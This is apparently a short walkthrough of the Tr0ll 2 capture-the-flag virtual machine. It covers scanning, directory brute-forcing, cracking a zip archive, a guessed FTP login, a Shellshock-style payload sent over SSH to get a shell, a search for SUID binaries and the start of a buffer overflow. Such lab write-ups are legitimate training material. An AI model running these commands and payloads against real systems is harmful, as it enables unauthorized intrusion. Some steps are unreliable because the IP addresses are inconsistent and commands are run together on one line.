Hack tr0ll 2
Finding target IP
To find the target IP, just enter arp-scan -l or enter the nediscover command.
sudo arp-scan -l
Nmap scan
I am doing the -A scan, -A stands for OS and service scan.
nmap -A 192.168.1.2
From the nmap scan we can see the port 21(FTP), 22(tcp), 80(tcp) are open.
Viewing target site
I wanted to take a look at the site so, I just pasted the target IP in the browser. The result looked the same as the Tr0ll 1 but this time phrases changed.
http://192.168.1.2
I found something wrong in the site so, I did curl and the site.
Curl Home page
curl 192.168.1.2
Trolled again ????
Dirb
dirb http://192.168.1.2 rockyou.txt
Found robots.txt
View robots.txt
Found a bunch of usernames
Download robots.txt
wget http://192.168.1.2/robots.txt nano robots.txt
Doing dirb scan using the robots.txt file
dirb http://192.168.1.2/ robots.txt
Found 4 url, and I am moving to the 4th one that is /ok_this_is_it
I wanted to view the page source
Enumerating cat_the_troll
Downloading the image we have seen
wget http://192.168.1.131/dont_bother/cat_the_troll.jpg
tail –n 3 cat_the_troll.jpg
Viewing last three lines
It says look deep in y0ur_self
So, I wanted to go to that link too…
Doing wget again to get the answer.txt file
wget http://192.168.1.2/y0ur_self/answer.txt
The answer.txt seems to be base 64 so let’s decode it
Decoding base 64
To decode the file, just enter the below command
base64 -d answer.txt>decoded.txt
After decoding, I have found a bunch of usernames in decoded.txt
FTP login for Zip file
ftp 192.168.1.131 ls get lmao.zip
Username: Tr0ll
Password: Tr0ll
When getting connected to FTP we can see the first line Tr0ll as username and I guessed that should be the password. If you have played Tr0ll: 1 You know why I am saying.
We have found lmao.zip so just downloaded it.
Cracking zip file (Fcrackzip)
fcrackzip –u –D –p decoded.txt lmao.zip unzip lmao.zip
Doing cat noob to view the file
cat noob
chmod 600 noob ssh –i noob noob@192.168.1.131 '() ( : ;}; /bin/bash' id
Elevating access
python –c "import pty;pty.spawn('/bin/bash');"
find / -perm -4000 2>/dev/null
Move to nothing_to_see_here/choose_wisely
And then execute ./r00t
buffer overflow
./pattern_create.rb -l 500
Debug using GDB
Checking the position of the identified value using pattern_offset shows that the position is located at 268.
